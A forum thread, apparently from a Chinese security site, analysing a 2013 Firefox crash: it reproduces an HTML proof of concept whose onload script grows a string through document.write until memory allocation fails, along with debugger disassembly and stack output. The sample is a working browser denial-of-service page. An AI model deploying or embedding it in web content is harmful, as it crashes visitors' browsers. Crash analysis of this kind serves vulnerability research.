查看: 10694|回复: 3

Firefox Crash 0Day分析

[复制链接]
发表于 2013-12-27 20:47:08 | 显示全部楼层 |阅读模式
今日,在binvul(这里)看到一个Firefox Crash 0Day,于是分析了一下崩溃点和崩溃原因,样本文件是一个html文件,内容如下(注意:注释是我自己添加上去的):
【样本文件】

  1. <html>
  2. <head>
  3. <title>Mozilla Firefox Crash 0Day</title>
  4. <body onload="javascript:coolkaveh();">
  5. <script language="JavaScript">
  6. function coolkaveh(){
  7.     var buf = &#039;\x41\x41\x41&#039;
  8.     for(i=0; i <= 800 ; ++i){
  9. buf+=buf+buf            //Written by vscen:这里存在问题,字符串太长会导致内存分配失败,之后调用mozalloc.mozalloc_abort触发崩溃
  10.         document.write(buf);   //Written by vscen:罪魁祸首
  11. }
  12. }
  13. </script>
  14. </head>
  15. </body>
  16. </html>
复制代码
【相关环境】
分析工具:OllyICE
浏览器:Firefox 26.0.0.5087
操作系统:Windows
【分析过程】
分配document.write(buf)所需的字符串内存,如果分配内存失败则调用mozalloc.mozalloc_abort函数触发崩溃:

  1. 10004C15 >  56              push    esi                              ; mozglue.malloc
  2. 10004C16    8B7424 08       mov     esi, dword ptr [esp+8]
  3. 10004C1A    85F6            test    esi, esi
  4. 10004C1C    75 01           jnz     short 10004C1F
  5. 10004C1E    46              inc     esi
  6. 10004C1F    81FE 00F00F00   cmp     esi, 0FF000
  7. 10004C25    77 13           ja      short 10004C3A
  8. 10004C27    6A 00           push    0
  9. 10004C29    E8 60FDFFFF     call    1000498E   
  10. 10004C2E    8BC8            mov     ecx, eax
复制代码
拷贝(buf)里面的字符串到分配的缓冲区:

  1. 0156265C    8BD7            mov     edx, edi
  2. 0156265E    2BD0            sub     edx, eax
  3. 01562660    52              push    edx
  4. 01562661    50              push    eax
  5. 01562662    8B06            mov     eax, dword ptr [esi]
  6. 01562664    53              push    ebx
  7. 01562665    E8 26130000     call    01563990
复制代码
堆栈信息:
0012DDA8   00F61096  /CALL 到 malloc 来自 mozalloc.00F61094

  1. 0012DDAC   0048FB78  \size = 48FB78 (4782968.)
  2. 0012DDB0   001853D3
  3. 0012DDB4   110503E0
  4. 0012DDB8   01563B0A  返回到 xul.01563B0A 来自 mozalloc.moz_xmalloc
  5. 0012DDBC   0048FB78
  6. 0012DDC0   001853D3
  7. 0012DDC4   10F3A450
  8. 0012DDC8   00000041
  9. 0012DDCC   11C00000  UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  10. 0012DDD0   00000000
  11. 0012DDD4   00000000
  12. 0012DDD8   0156266A  返回到 xul.0156266A 来自 xul.01563990
  13. 0012DDDC   11C00000  UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  14. 0012DDE0   00000000
  15. 0012DDE4   00247DBC
  16. 0012DDE8   0012DE94
  17. 0012DDEC   10F3A450
  18. 0012DDF0   00000000
  19. 0012DDF4   11C00000  UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
复制代码
【崩溃截图】
13879185679124.jpg
回复

使用道具 举报

发表于 2013-12-28 17:28:54 | 显示全部楼层
我是沙发。哈哈哈
回复 支持 反对

使用道具 举报

发表于 2013-12-29 18:06:35 | 显示全部楼层
不懂???
回复 支持 反对

使用道具 举报

发表于 2014-1-15 20:30:16 | 显示全部楼层
没看明白。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-3-9 22:32 , Processed in 0.037672 second(s), 15 queries , Gzip On, MemCache On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部